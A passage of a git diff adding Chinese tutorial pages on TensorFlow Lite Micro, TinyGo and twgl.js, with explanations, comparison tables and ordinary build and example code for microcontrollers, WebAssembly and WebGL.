UART、`printf` 等) | + +**没有 `malloc`**:`AllocateTensors()` 只在 `tensor_arena` 里划分子缓冲区。arena 不够大会分配失败,需靠实验或工具测大小。 + +### 4. `MicroMutableOpResolver`:按需注册算子 + +全量算子表会撑大 Flash。TFLM 要求你声明模型实际用到的 op 数量,例如 Hello World 只需 1 个 `FullyConnected`: + +```cpp +using HelloWorldOpResolver = tflite::MicroMutableOpResolver<1>; +TF_LITE_ENSURE_STATUS(op_resolver.AddFullyConnected()); +``` + +只链接需要的内核,是体积优化的关键之一。 + +### 5. 张量读写:`input(0)` / `output(0)` / `Invoke()` + +- `interpreter.input(0)` 返回 `TfLiteTensor*`,按 `type` 访问 `data.f`(float)或 `data.int8` 等 +- `interpreter.Invoke()` 执行一整轮前向推理 +- `interpreter.output(0)` 读结果 + +输入输出 shape 在转换模型时已固定;嵌入式代码里常写断言检查 `dims` 和 `kTfLiteFloat32` / `kTfLiteInt8`。 + +### 6. 量化:float 训练,int8 上板 + +MCU 上 float 推理慢且耗能。官方 Hello World 提供 **PTQ(训练后量化)** 路径:浮点 SavedModel → `ptq.py` → `hello_world_int8.tflite`。量化后权重与部分激活用 int8,算子走 CMSIS-NN / ESP-NN 等整数内核,速度可差 **数十倍**(ESP32 上 person_detection 有公开对比:无优化 ~4s vs ESP-NN ~380ms 量级)。 + +### 7. 平台与加速栈 + +| 层级 | 说明 | +| --- | --- | +| 参考内核 | `tensorflow/lite/micro/kernels/` 纯 C/C++,跨平台兼容 | +| CMSIS-NN | Arm Cortex-M 优化,与 Keil / CMSIS-Pack 生态集成 | +| Ethos-U | Arm 微 NPU(U55/U65)硬件加速 | +| ESP-NN | Espressif 芯片专用,ESP-IDF 组件 `esp-tflite-micro` 默认集成 | +| 社区移植 | Arduino、SparkFun Edge、TI、Silicon Labs、Renesas 等见官方 README | + +构建常用 `tensorflow/lite/micro/tools/make/Makefile`,`TARGET=cortex_m_generic` 等参数交叉编译;也可用 Bazel、Mbed、Arduino 库。 + +## 端到端工作流(Hello World) + +官方 **Hello World** 用神经网络拟合 `sin(x)`:输入一个标量,输出 sin 值;上板后可驱动 LED 闪烁或动画。完整链路: + +1. **训练**(Python / Bazel):`train.py` 生成 TF 与 float TFLite +2. **(可选)量化**:`ptq.py` 生成 int8 模型 +3. **嵌入固件**:模型 → `model.cc` 字节数组 +4. **C++ 测试**:`hello_world_test.cc` 加载模型、循环 Invoke、断言输出接近 `sin(x)` + +支持设备包括 Arduino Nano 33 BLE、ESP32-DevKitC、STM32F746、SparkFun Edge 等(详见 Google AI Edge 文档)。 + +## 代码示例一:Python 训练与导出 + +在主机上用 Bazel 构建并训练 Hello World 模型(来自官方 README): + +```bash +# 构建训练脚本 +bazel build tensorflow/lite/micro/examples/hello_world:train + +# 训练并保存 TF + float TFLite 到指定目录 +bazel-bin/tensorflow/lite/micro/examples/hello_world/train \ + --save_tf_model \ + --save_dir=/tmp/model_created/ +``` + +若需要 **int8 全量化模型**(更适合 MCU): + +```bash +bazel build tensorflow/lite/micro/examples/hello_world/quantization:ptq + +bazel-bin/tensorflow/lite/micro/examples/hello_world/quantization/ptq \ + --source_model_dir=/tmp/model_created \ + --target_dir=/tmp/quant_model/ +``` + +输出 `hello_world_int8.tflite` 后,用项目自带脚本或 `xxd -i` 转成 C 数组,替换示例里的 `g_model`。 + +等价的 Keras 思路(理解用,非仓库内脚本): + +```python +import numpy as np +import tensorflow as tf + +# 用 sin 数据训练一个极小全连接网络 +x = np.linspace(0, 2 * np.pi, 1000).astype(np.float32) +y = np.sin(x).astype(np.float32) + +model = tf.keras.Sequential([ + tf.keras.layers.Input(shape=(1,)), + tf.keras.layers.Dense(8, activation="relu"), + tf.keras.layers.Dense(1), +]) +model.compile(optimizer="adam", loss="mse") +model.fit(x, y, epochs=200, verbose=0) + +# 导出 SavedModel,再用 TFLite Converter 得到 .tflite +tf.saved_model.save(model, "/tmp/sin_saved") +converter = tf.lite.TFLiteConverter.from_saved_model("/tmp/sin_saved") +tflite_model = converter.convert() +open("/tmp/hello_world.tflite", "wb").write(tflite_model) +``` + +## 代码示例二:C++ 设备端推理 + +下列代码浓缩自官方 `evaluate_test.cc` / Hello World 测试,展示**最小推理闭环**: + +```cpp +#include "tensorflow/lite/micro/micro_error_reporter.h" +#include "tensorflow/lite/micro/micro_interpreter.h" +#include "tensorflow/lite/micro/micro_mutable_op_resolver.h" +#include "tensorflow/lite/schema/schema_generated.h" +#include "tensorflow/lite/version.h" +#include "tensorflow/lite/micro/examples/hello_world/model.h" + +void RunHelloWorldInference() { + tflite::MicroErrorReporter micro_error_reporter; + tflite::ErrorReporter* error_reporter = µ_error_reporter; + + // 1. 加载嵌在 Flash 里的模型 + const tflite::Model* model = tflite::GetModel(g_model); + if (model->version() != TFLITE_SCHEMA_VERSION) { + TF_LITE_REPORT_ERROR(error_reporter, "Schema version mismatch\n"); + return; + } + + // 2. 只注册模型用到的算子 + static tflite::MicroMutableOpResolver<1> resolver; + if (resolver.AddFullyConnected() != kTfLiteOk) { + return; + } + + // 3. 预分配 tensor arena(大小需按模型调试) + constexpr int kTensorArenaSize = 2 * 1024; + uint8_t tensor_arena[kTensorArenaSize]; + + // 4. 创建解释器并分配张量 + tflite::MicroInterpreter interpreter( + model, resolver, tensor_arena, kTensorArenaSize, error_reporter); + if (interpreter.AllocateTensors() != kTfLiteOk) { + TF_LITE_REPORT_ERROR(error_reporter, "AllocateTensors failed\n"); + return; + } + + // 5. 写入输入 → Invoke → 读输出 + TfLiteTensor* input = interpreter.input(0); + TfLiteTensor* output = interpreter.output(0); + + input->data.f[0] = 0.0f; + if (interpreter.Invoke() != kTfLiteOk) { + TF_LITE_REPORT_ERROR(error_reporter, "Invoke failed\n"); + return; + } + float y0 = output->data.f[0]; // 期望接近 sin(0) = 0 + + input->data.f[0] = 1.0f; + interpreter.Invoke(); + float y1 = output->data.f[0]; // 期望接近 sin(1) ≈ 0.841 + + TF_LITE_REPORT_ERROR(error_reporter, "sin(0)=%f sin(1)=%f\n", y0, y1); +} +``` + +要点回顾:`tensor_arena` 太小会 silent fail 或 `AllocateTensors` 失败;`Invoke()` 前后 input/output 指针有效;量化模型需改访问 `output->data.int8` 并配合 scale/zero_point。 + +## 代码示例三:Makefile 交叉编译(补充) + +在克隆的 `tflite-micro` 仓库根目录,可用 Make 跑主机单元测试或指定 MCU: + +```bash +# 主机上跑 Hello World 单元测试 +make -f tensorflow/lite/micro/tools/make/Makefile test_hello_world_test + +# 交叉编译示例:通用 Cortex-M0 Hello World +make -f tensorflow/lite/micro/tools/make/Makefile \ + TARGET=cortex_m_generic \ + TARGET_ARCH=cortex-m0 \ + TARGET_CFLAGS=-mcpu=cortex-m0 \ + build +``` + +ESP32 用户更常走 **ESP-IDF**: + +```bash +idf.py add-dependency "esp-tflite-micro" +idf.py set-target esp32s3 +idf.py build +``` + +组件内带 `hello_world`、`micro_speech`、`person_detection` 示例,并默认链入 **ESP-NN** 优化。 + +## 与 TensorFlow / LiteRT 生态的关系 + +``` +TensorFlow (训练, Keras) → TFLite Converter → .tflite (FlatBuffer) + ↓ + ┌─────────────────────────────────┴────────────────────────┐ + │ LiteRT (手机/嵌入式 Linux) │ TFLM (MCU, 无 OS) │ + │ 动态内存、更多算子、Java API │ 静态 arena、C++17、子集 │ + └──────────────────────────────────────────────────────────┘ +``` + +Google 近年将面向边缘的产品线统一为 **LiteRT** 品牌,文档 URL 已迁至 `developers.google.com/edge/litert/microcontrollers/`;GitHub 仓库名仍为 `tflite-micro`,社区习惯仍称 TFLM。与 [[tensorflow]] 笔记中的「一次训练、多平台部署」叙事一致:TFLM 是这条链路的**最末端、最瘦**的一环。 + +## 限制与选型清单 + +官方明确列出的约束(选型前必读): + +- **仅推理**,无设备端训练 +- **算子子集**:转换前需查 [Micro 算子支持列表](https://www.tensorflow.org/lite/microcontrollers/op_resolver),自定义层可能要改模型结构 +- **手动内存管理**:arena 大小、resolver 模板参数都要自己调 +- **C++17 + 32 位平台**为主,已在 Cortex-M、ESP32、RISC-V 等验证 +- 需要 **Ethos-U / CMSIS-NN** 时,构建 flag 与链接库要按平台文档打开 + +若设备有 **>1MB RAM、跑 Linux**:优先考虑标准 LiteRT + Python/C API,开发体验好很多。 + +## 学习路径建议 + +1. **读 Hello World**:`tensorflow/lite/micro/examples/hello_world/`,先跑主机 `bazel test`,再选一块手头开发板上板 +2. **跟官方 Get Started**: [LiteRT for Microcontrollers - Get started](https://developers.google.com/edge/litert/microcontrollers/get_started) +3. **换一个真实示例**:语音 `micro_speech` 或视觉 `person_detection`,理解 int8 输入与更大 arena +4. **读 C++ 库结构**:`micro_interpreter.h`、`micro/docs/` 下的 new platform、memory management +5. **量化专题**:Hello World 的 `quantization/ptq.py`,对照 int8 与 float 延迟差异 + +## 小结 + +TensorFlow Lite Micro 不是「缩小版的 TensorFlow」,而是**为 MCU 约束重新设计的推理运行时**:静态内存、可裁剪算子表、FlatBuffer 模型嵌进 Flash、配合 CMSIS-NN / ESP-NN 在硅片上榨性能。零基础入门抓住一条线即可——**PC 上训练 sin 模型 → 转成 `.tflite` → C 数组进固件 → `MicroInterpreter` 三轮 `Invoke()`**——其余平台移植、量化、NPU 加速都是在这条主线上的加厚垫层。 diff --git a/src/content/docs/projects/tinygo.md b/src/content/docs/projects/tinygo.md new file mode 100644 index 000000000..3cfa2d535 --- /dev/null +++ b/src/content/docs/projects/tinygo.md @@ -0,0 +1,304 @@ +--- +title: TinyGo — 把 Go 编译进微控制器和 WebAssembly 的「袖珍版编译器」 +来源: 'https://github.com/tinygo-org/tinygo' +日期: '2026-06-13' +子分类: 语言运行时 +分类: 编译器 +难度: '高级' +provenance: 'pipeline-v3' +--- + +## 是什么 + +**TinyGo** 是 [tinygo-org/tinygo](https://github.com/tinygo-org/tinygo) 维护的一套 Go 编译器,专门把 Go 程序编译到**资源极度受限**的环境:微控制器(MCU)、WebAssembly(浏览器 / WASI 边缘运行时)、以及体积敏感的命令行工具。它不是标准 Go 工具链 `gc` 的替代品,而是面向「小地方」的平行路线。 + +日常类比:**旅行箱 vs 登山包**。 + +标准 Go 编译器像一套功能齐全的旅行箱——自带完整调度器、庞大运行时、多核并行优化,适合服务器和桌面。但你要去登山(一块只有 32KB RAM、256KB Flash 的 STM32 芯片),拖着旅行箱根本爬不上去。TinyGo 就是专门设计的登山包:同样装的是 Go 语言(语法、类型系统、大部分标准库),但把箱子的轮子、拉杆、扩展层都拆掉,只留徒步必需品,再用 LLVM 这把瑞士军刀把剩余部分压到最小体积。 + +和 [[zephyr]] 这种「嵌入式操作系统」不同,TinyGo 走的是**语言层路线**:你写的是 Go,编译器负责生成能在裸机或轻量 RTOS 上跑的固件,不必先学 C 和 Kconfig。和 [[wasmtime]] 这种「运行时」的关系则是上下游:TinyGo 产出 `.wasm` 字节码,Wasmtime / wazero / 浏览器负责执行。 + +## 解决什么问题 + +标准 Go(`go build` + `gc` 编译器)在「小地方」有三类硬障碍: + +| 痛点 | 标准 Go 的表现 | TinyGo 的回应 | +| --- | --- | --- | +| 二进制体积 | 最小 `hello world` 往往数 MB 级(含完整运行时) | 通过 LLVM 优化 + 裁剪运行时,固件可压到数十 KB | +| RAM 占用 | goroutine 默认独立栈(初始约 2KB),调度器常驻 | 可选 `scheduler=none` 完全去掉协程;或协作式 tasks/asyncify 调度 | +| 目标平台 | 主要面向 Linux / macOS / Windows / 少量 OS | 支持 150+ 开发板(BBC micro:bit、Arduino、RP2040、nRF52 等)及 WASM/WASI | + +TinyGo 要回答的核心问题是:**能否在保持 Go 语法和内存模型(含 GC)的前提下,让同一份语言跑在灯泡芯片和浏览器沙箱里?** + +它的设计目标(来自官方 README)写得很直白: + +- 体积极小——「不为不用的功能付费」 +- 支持常见 MCU 开发板 +- 能编译到 WebAssembly(浏览器 + WASI 边缘) +- CGO 开销接近普通函数调用 +- 兼容大部分标准库,多数 Go 代码无需修改即可尝试编译 + +同时它也明确列了**非目标**:不追求海量 goroutine 的调度效率、不保证比 `gc` 更快(虽然 LLVM 优化在数值计算上有时反而更优)、不承诺能编译「任意 Go 项目」——反射、部分 `unsafe` 用法、依赖完整 `syscall` 的包仍可能编不过。 + +## 核心概念 + +### 1. LLVM 后端:不是生成 C,而是直接走编译器 IR + +标准 Go 编译器 `gc` 自研了一整套中间表示和机器码生成。TinyGo 则选择站在 **LLVM** 肩膀上: + +``` +Go 源码 → TinyGo 前端(复用 go/types、go/parser 等)→ LLVM IR → 目标机器码 / WASM +``` + +这条路径带来几个实际好处: + +- **跨架构统一**:同一份前端逻辑,靠 LLVM 后端覆盖 ARM Cortex-M、AVR、RISC-V、WASM 等,不必为每种 ISA 手写代码生成器 +- **成熟的优化 Pass**:`-opt=z`(默认)走体积优先优化;`-opt=2` 可走性能优先;LLVM 的内联、死代码消除、常量折叠对嵌入式很关键 +- **与 C 生态互操作**:TinyGo 的 CGO 设计目标是无额外调用开销,方便直接调用厂商 HAL / CMSIS 库 + +对比历史上的 **emgo**(另一套 Go→嵌入式方案,通过生成 C 代码再交给 GCC):TinyGo 坚持保留 Go 内存模型(意味着要有某种 GC),并用 LLVM 换更大的后端灵活性和更小的最终体积。 + +### 2. `machine` 包:嵌入式世界的「硬件抽象层」 + +标准库里不存在 `machine` 包;它是 TinyGo 为 MCU 增加的**类标准库**,提供跨板型的 GPIO、I2C、SPI、UART、ADC 等 portable API。不同开发板的 `machine.LED`、`machine.SDA` 等常量在编译期由 `-target` 解析到具体引脚。 + +你可以把它理解成:**Go 版的 Arduino `digitalWrite`**,但类型安全、编译期检查,且与 `time.Sleep` 等标准库无缝配合。 + +### 3. Goroutine 调度裁剪:三种 scheduler 档位 + +这是 TinyGo 与标准 Go 差异最大的运行时设计之一。编译时通过 `-scheduler` 选择策略: + +| 调度器 | 适用平台 | 行为 | 代价 | +| --- | --- | --- | --- | +| `none` | AVR 等极小内存板(常作默认) | **禁用** goroutine 和 channel;`go` 关键字不可用 | 固件最小;并发模型归零 | +| `tasks` | 多数 MCU(Cortex-M、RP2040 等) | 协作式任务调度,类似轻量 RTOS | 支持有限并发,非抢占式 | +| `asyncify` | WebAssembly | 基于 Binaryen Asyncify,把阻塞调用拆成可恢复协程 | 适配 WASM 无法高效切换栈的限制 | +| `cores` | RP2040 / RP2350 等多核板 | 利用芯片多核并行跑 goroutine | 体积和 RAM 略增,但吞吐更好 | + +**为什么要裁剪?** 标准 Go 的调度器(G-M-P 模型 + 抢占 + 系统调用监控)是为多核服务器设计的,运行时本身就要占掉大量 Flash 和 RAM。在 8KB RAM 的 AVR 上,这套设施根本放不下。 + +TinyGo 在 WASM 上还有一层历史背景:WebAssembly 出于安全考虑**不暴露原生栈切换**,传统「每个 goroutine 一块栈」模型走不通。因此 TinyGo 借用 LLVM coroutine / Asyncify,把 `time.Sleep` 等阻塞点改写成可挂起、可恢复的协程状态机——对写 Go 的人透明,但编译器在背后做了 CPS(continuation-passing style)变换。 + +在 `scheduler=none` 时,`runtime.Gosched()` 会直接返回(因为只有逻辑上的单线程);定时器、channel 等依赖调度器的特性会触发运行时错误——这是刻意的「用体积换能力」trade-off。 + +### 4. 垃圾回收与 Panic 策略 + +`-gc` 控制内存管理器: + +- **conservative**(默认):保守式 mark/sweep GC,跨平台,但停顿时间不可预测 +- **leaking**:只分配不释放,最简单、最快,适合短生命周期固件 +- **none**:完全禁用堆分配,用于审计程序里哪些地方偷偷 `new` 了对象 + +`-panic` 控制崩溃行为:`abort`(默认,打印信息后挂起或 `unreachable`)、`trap`(直接触发陷阱指令,体积更小但难调试)。 + +## 与标准 Go 的对比 + +| 维度 | 标准 Go (`gc`) | TinyGo | +| --- | --- | --- | +| 编译器后端 | 自研 SSA → 机器码 | LLVM | +| 典型目标 | 服务器、桌面、移动端 | MCU、WASM、WASI、小体积 CLI | +| 最小二进制 | ~1–2 MB 量级起 | 数十 KB 级固件可行 | +| Goroutine | 原生抢占式,M:N 调度 | 可选 none / 协作式 tasks / asyncify / 多核 cores | +| 标准库覆盖 | 完整 | 大部分可用;`net` 部分子包、`reflect` 深度用法等受限 | +| 反射 / `unsafe` | 完整支持 | 部分受限,复杂反射可能编译失败 | +| 调试体验 | Delve、成熟生态 | GDB + OpenOCD / 板载 USB-CDC,门槛更高 | +| 并发规模 | 轻松上万 goroutine | 适合少量协程;不追求「海量」 | +| 工具链命令 | `go build` | `tinygo build` / `flash` / `monitor` | +| 硬件访问 | 无内建 `machine` 包 | `machine` 包直接操作寄存器级外设 | + +选型口诀: + +- 写 **云原生微服务、CLI 工具、需要完整标准库** → 标准 Go +- 写 **LED 点灯、传感器采集、BLE 外设、浏览器里跑的逻辑、WASI 边缘函数** → TinyGo +- 已有 **Zephyr / FreeRTOS C 固件** 要渐进迁移 → TinyGo 可尝试,但和纯 C RTOS 生态的驱动成熟度仍需评估 + +## 代码示例 + +### 示例 1:板载 LED 闪烁(MCU 版 Hello World) + +这是 TinyGo 官方教程的「硬件世界 Hello World」——逻辑与 Arduino `blink.ino` 相同,但语言是 Go: + +```go +package main + +import ( + "machine" + "time" +) + +func main() { + led := machine.LED + led.Configure(machine.PinConfig{Mode: machine.PinOutput}) + + for { + led.High() + time.Sleep(500 * time.Millisecond) + + led.Low() + time.Sleep(500 * time.Millisecond) + } +} +``` + +编译与烧录(以 Raspberry Pi Pico 为例): + +```bash +# 安装 TinyGo 后,指定板型 target +tinygo build -target=pico -o firmware.uf2 . +tinygo flash -target=pico . +# 或通过 USB 串口看 println 输出 +tinygo monitor +``` + +要点: + +- `machine.LED` 由 `-target` 决定具体 GPIO,换板子不用改代码 +- `time.Sleep` 在 `scheduler=tasks` 下通过协作式调度实现,不阻塞整个系统(若有其他 goroutine) +- 在 AVR Uno 等极小板上,默认可能是 `scheduler=none`,此时不宜使用 `go` 关键字 + +### 示例 2:WebAssembly 导出函数(浏览器 / WASI) + +TinyGo 可把 Go 编译成体积极小的 `.wasm`,适合嵌入网页或边缘运行时: + +```go +package main + +import "syscall/js" + +func main() { + // 保持 Go runtime 存活;WASM 入口由 JS 调用导出函数 + select {} +} + +//export add +func add(this js.Value, args []js.Value) interface{} { + a := args[0].Int() + b := args[1].Int() + return a + b +} +``` + +编译命令: + +```bash +# 浏览器用 WASM(scheduler 默认 asyncify) +tinygo build -target=wasm -o main.wasm . + +# WASI 边缘运行时(如 Fermyon Spin、Fastly Compute) +tinygo build -target=wasi -o main.wasm . +``` + +HTML 侧加载(简化示意): + +```html + +``` + +与标准 Go 的 `GOOS=js GOARCH=wasm` 相比,TinyGo 产出的 WASM 模块通常**小一个数量级以上**,但支持的 `syscall/js` 和反射子集更少,复杂标准库调用需逐项验证。 + +### 示例 3:用 goroutine 做并发采集(scheduler=tasks) + +在 RAM 充裕的板子(如 nRF52840、STM32)上,可以写接近标准 Go 风格的并发: + +```go +package main + +import ( + "machine" + "time" +) + +func main() { + led := machine.LED + led.Configure(machine.PinConfig{Mode: machine.PinOutput}) + + // 后台 goroutine 每秒打印计数 + go func() { + n := 0 + for { + println("tick", n) + n++ + time.Sleep(time.Second) + } + }() + + // 主 goroutine 负责闪灯 + for { + led.Set(!led.Get()) + time.Sleep(200 * time.Millisecond) + } +} +``` + +编译时显式指定 tasks 调度器(部分板型默认已是 tasks): + +```bash +tinygo build -target=circuitplay-express -scheduler=tasks -o firmware.uf2 . +``` + +注意:这与服务器上开成千上万个 goroutine 不是同一量级;嵌入式上要控制 goroutine 数量和栈大小(`-stack-size`),否则容易 RAM 溢出。 + +## 常用编译选项速查 + +开发固件时最常碰到的几个 flag(完整列表见 [官方文档](https://tinygo.org/docs/reference/usage/important-options/)): + +| 选项 | 作用 | +| --- | --- | +| `-target=` | 选择芯片 / WASM 目标,连带 emulator、烧录工具 | +| `-opt=z` | 默认,体积优先优化 | +| `-scheduler=none\|tasks\|asyncify\|cores` | 协程调度策略 | +| `-gc=conservative\|leaking\|none` | 垃圾回收器选择 | +| `-panic=abort\|trap` | panic 时是打印后挂起还是直接陷阱 | +| `-serial=usb\|uart\|rtt\|none` | `println` 输出走哪条通道 | +| `-size short` | 打印固件体积摘要(code/data/bss) | + +## 踩坑与边界 + +1. **不是所有 Go 都能编**:标准库中依赖完整操作系统的包(部分 `net`、`os/exec` 场景)在 MCU 上不可用;生成代码前先用 `tinygo list` 或试编译摸底。 + +2. **scheduler=none 时别写 `go`**:编译可能过,但行为与预期不符;AVR 默认 none 是为了省 RAM,要并发需手动 `-scheduler=tasks` 并接受体积上涨。 + +3. **LED 亮灭极性因板而异**:有的板子 `High()` 是灭、`Low()` 是亮,取决于 LED 共阳/共阴接法,别当成编译器 bug。 + +4. **调试比桌面 Go 难**:常用 GDB + OpenOCD,或 `-monitor` 看串口;`panic=trap` 省体积但只剩 HardFault,排错成本高。 + +5. **与 TinyGo Playground 的差异**:在线 playground 是模拟环境,体积估算和真实烧录可能有出入,上板前以 `tinygo size` 为准。 + +6. **多核仍属进阶**:`-scheduler=cores` 目前主要针对 RP2040/RP2350 等,需配合链接选项(如 `--defsym=__num_stacks=2`),别在单核 M0 上盲目开启。 + +## 适用 vs 不适用 + +**适用**: + +- 已会 Go,想用它写物联网固件、可穿戴、传感器节点 +- 需要把业务逻辑编译进浏览器 WASM(游戏逻辑、音视频处理、编辑器插件) +- WASI 边缘函数(Spin、Fastly Compute 等)且在意冷启动体积 +- 教学场景:用 Go 语法降低嵌入式入门门槛(比直接学 C + 寄存器友好) + +**不适用**: + +- 典型云原生后端(用标准 Go 生态更完整) +- 依赖大量反射、动态插件、完整 `database/sql` 驱动的项目 +- 需要硬实时抢占式调度(毫秒级确定性)——协作式 scheduler 要慎重评估 +- 团队已有成熟 Zephyr/FreeRTOS C 栈,且没有 Go 迁移动力 + +## 学习路径建议 + +1. **零硬件**:在 [TinyGo Playground](https://play.tinygo.org/) 跑通 LED 模拟和 WASM 示例,建立「Go 能下小板子」的直觉。 +2. **有一块板子**:跟官方 [Blinky 教程](https://tinygo.org/docs/tutorials/blinky/),掌握 `tinygo flash` + `tinygo monitor`。 +3. **理解调度**:分别用 `-scheduler=none` 和 `-scheduler=tasks` 编译同一程序,对比 `tinygo size` 输出,理解体积 trade-off。 +4. **读源码**:从 `src/runtime` 和 `machine` 包入手,对照 Ayke van Laethem 关于 [goroutine 实现](https://aykevl.nl/2019/02/tinygo-goroutines/) 的文章,理解 LLVM coroutine 与 Asyncify 背景。 +5. **对照标准 Go**:把桌面上的小程序用 `tinygo build -target=wasm` 试编,记录哪些包能过、哪些报错,形成心理「支持子集」地图。 + +## 小结 + +TinyGo 不是「更好的 Go」,而是「Go 的嵌入式与 WASM 方言」:复用 Go 语言前端和大部分编程体验,用 LLVM 压体积,用可裁剪的调度器换 RAM,用 `machine` 包接通真实引脚。标准 Go 继续统治服务器;TinyGo 占领那些旅行箱拖不进去的小地方——从一块几美元的 MCU,到浏览器里几 KB 的 WASM 模块。 diff --git a/src/content/docs/projects/twgl.md b/src/content/docs/projects/twgl.md new file mode 100644 index 000000000..ddf6cf650 --- /dev/null +++ b/src/content/docs/projects/twgl.md @@ -0,0 +1,324 @@ +--- +title: twgl.js — 把 WebGL 样板代码压成几行 helper 的微型工具库 +来源: greggman/twgl.js +日期: 2026-06-13 +子分类: 渲染与图形 +分类: 图形学 +难度: 高级 +provenance: pipeline-v3 +--- + +## 日常类比:TWGL 是「WebGL 专用瑞士军刀」,不是整间厨房 + +原生 WebGL 像第一次进专业暗房:你要自己配显影液、调曝光、挂胶片、对位放大机——每一步都依赖上一步,顺序错一点整卷胶片就废。 +**TWGL**(Tiny WebGL Library,发音近似 *wiggle*)则是暗房老师傅塞给你的一排**预置工具**:裁切器、定影槽、计时器都标好了刻度,你只负责决定「今天冲什么片」。 + +它**不是** Three.js 那种「整间带菜单的 3D 餐厅」,也**不替你写 GLSL 或管理场景图**。作者 [Gregg Tavares(greggman)](https://github.com/greggman/twgl.js) 在 README 里写得很直白:唯一目标就是 **make using the WebGL API less verbose**——少写重复样板,把精力留给着色器和算法。 + +| 维度 | 数据 | +|---|---| +| GitHub | [greggman/twgl.js](https://github.com/greggman/twgl.js) | +| 官网 / 文档 | [twgljs.org](https://twgljs.org/) | +| 协议 | MIT | +| 依赖 | 零 npm 依赖(可 ` + +``` + +**读法**:`arrays.position` 每 3 个数是一个顶点;没有 `indices` 时用 `drawArrays`;`resizeCanvasToDisplaySize` 解决模糊 canvas 问题——这两行是教程里最容易被新手忽略的坑。 + +--- + +## 代码示例 2:纹理立方体 + 矩阵 uniform + +```javascript +const programInfo = twgl.createProgramInfo(gl, [vs, fs]); +const textures = twgl.createTextures(gl, { + diffuse: { src: 'crate.jpg' }, +}); +const bufferInfo = twgl.primitives.createCubeBufferInfo(gl, 2); + +const m4 = twgl.m4; // 可选:TWGL 自带轻量矩阵库 + +function render(time) { + twgl.resizeCanvasToDisplaySize(gl.canvas); + gl.viewport(0, 0, gl.canvas.width, gl.canvas.height); + gl.enable(gl.DEPTH_TEST); + + const fov = (60 * Math.PI) / 180; + const aspect = gl.canvas.clientWidth / gl.canvas.clientHeight; + const projection = m4.perspective(fov, aspect, 0.1, 100); + const camera = m4.lookAt([4, 4, 6], [0, 0, 0], [0, 1, 0]); + const view = m4.inverse(camera); + const world = m4.rotationY(time * 0.001); + + gl.useProgram(programInfo.program); + twgl.setBuffersAndAttributes(gl, programInfo, bufferInfo); + twgl.setUniforms(programInfo, { + u_projection: projection, + u_view: view, + u_world: world, + u_diffuse: textures.diffuse, + }); + twgl.drawBufferInfo(gl, bufferInfo); + requestAnimationFrame(render); +} +``` + +这里 TWGL 的价值在于:**立方体几何、纹理上传、uniform/texture 绑定**都 declarative;你仍要自己写 `vs`/`fs` 里的 `u_projection * u_view * u_world`——这正是库的设计边界。 + +--- + +## 与 Raw WebGL / Three.js 对比 + +| 维度 | Raw WebGL | TWGL.js | Three.js | +|---|---|---|---| +| 抽象层级 | 无,直接操作 GL 状态机 | 薄 helper,仍是「手写场景循环」 | 高:Scene / Camera / Mesh / Renderer | +| 样板代码 | 极多,易错 | 显著减少 bind/set 代码 | 极少(`new Mesh` 即可) | +| GLSL | 完全自己写 | 完全自己写 | 可写 ShaderMaterial,也有内置材质 | +| 场景图 / 光照 / 加载器 | 自己实现 | 自己实现 | 内置丰富生态 | +| 包体积 | 0 | 很小(~几十 KB 量级 full build) | 较大(模块化后仍明显高于 TWGL) | +| 学习路径 | 最硬核,理解最深 | 适合 **WebGL Fundamentals 系** 教程 | 快速出 3D 原型,底层原理需另补 | +| 典型场景 | 引擎开发、极致定制 | 教学、数据 viz、shader 实验、轻量 demo | 产品级 3D、VR、大量现成控件 | + +**和 [regl](/projects/regl/) 的横向差异**(同类 WebGL 薄封装): + +- **regl** 用「命令对象 + prop/context 懒求值」做**函数式、无状态**绘制;适合 Observable notebook、批量 draw。 +- **TWGL** 用 **ProgramInfo / BufferInfo** 对象 + imperative 调用;和 greggman 的 WebGL 教程风格一致,入门者读官方示例更顺。 +- 两者都**不**提供场景图;选谁多半是代码风格偏好,而非能力鸿沟。 + +**何时选 TWGL**: + +- 你在跟 [webglfundamentals.org](https://webglfundamentals.org/) 或 [webgl2fundamentals.org](https://webgl2fundamentals.org/) 学习,想少写 glue code +- 需要 **完全掌控** draw call 与 shader,但不想复制粘贴 hundred-line boilerplate +- 项目只需要几个自定义 pass(后处理、场可视化、GPGPU ping-pong),不值得引入 Three.js + +**何时别选 TWGL**: + +- 要 glTF 角色、物理、阴影管线、编辑器——直接用 Three.js / Babylon.js +- 团队没人愿意写 GLSL——高阶引擎更合适 +- 需要 React 声明式 3D——考虑 `@react-three/fiber`,不是 TWGL 的主战场 + +--- + +## 安装与项目结构 + +```bash +npm install twgl.js +``` + +```javascript +// ESM +import * as twgl from 'twgl.js'; + +// 或只要子模块 +import * as twgl from 'twgl.js/dist/4.x/twgl-full.module.js'; +``` + +仓库按职责拆分模块(文档在 [twgljs.org/docs](https://twgljs.org/docs/module-twgl.html)): + +- `twgl/programs` — 编译、ProgramInfo、setUniforms +- `twgl/attributes` — BufferInfo、VAO +- `twgl/textures` — createTextures、resize、format 推断 +- `twgl/framebuffers` — FBO 附件 +- `twgl/primitives` — 立方体、球、平面等 +- `twgl/m4` / `twgl/v3` — 可选数学库,不强制使用 + +--- + +## 学习路线建议(零基础 → 能写 demo) + +1. **先补 WebGL 概念**:顶点着色器 / 片元着色器、attribute vs uniform、NDC 坐标、纹理采样——否则 TWGL 只是少写字,不懂在干什么。 +2. **跟官方首页示例**跑通三角形 → 立方体 → 纹理(本站示例 1、2 即对应这条线)。 +3. **读 `createProgramInfo` 生成的 setter**:打开 devtools 看 `programInfo.uniformSetters` 有哪些 key,和 GLSL 里的名字对齐。 +4. **练 FBO**:用 `createFramebufferInfo` 做 render-to-texture / 后处理 pass。 +5. **再决定是否上 Three.js**:当你感到「相机、资源管理、动画混合」自己在重复造轮子,就是换引擎的信号。 + +--- + +## 常见坑 + +1. **attribute 名字必须和 GLSL 一致**——`createBufferInfoFromArrays` 的 key 默认直接映射 shader attribute 名(可用 `setAttributePrefix` 改前缀)。 +2. **矩阵列主序**——`setUniforms` 传 `Float32Array` 或嵌套数组时,遵循 WebGL 的 column-major 约定;用 `twgl.m4` 可减少手误。 +3. **纹理异步**——URL 纹理加载完成前可能是 1×1 占位色;生产环境用 `createTextures` 的 callback 或 `createTexturesAsync` 再开始 render loop。 +4. **WebGL1 vs WebGL2**——部分 API(VAO、UBO、3D texture)仅 WebGL2;上下文创建时就要决定 `webgl2`。 +5. **TWGL 不检查你的 draw 顺序**——深度测试、blend、cull face 仍要你自己 `gl.enable`;库只简化 bind/set。 + +--- + +## 小结 + +TWGL.js 在 WebGL 生态里占一个极窄但实用的位置:**消除样板代码,不消除图形学**。它把 program / buffer 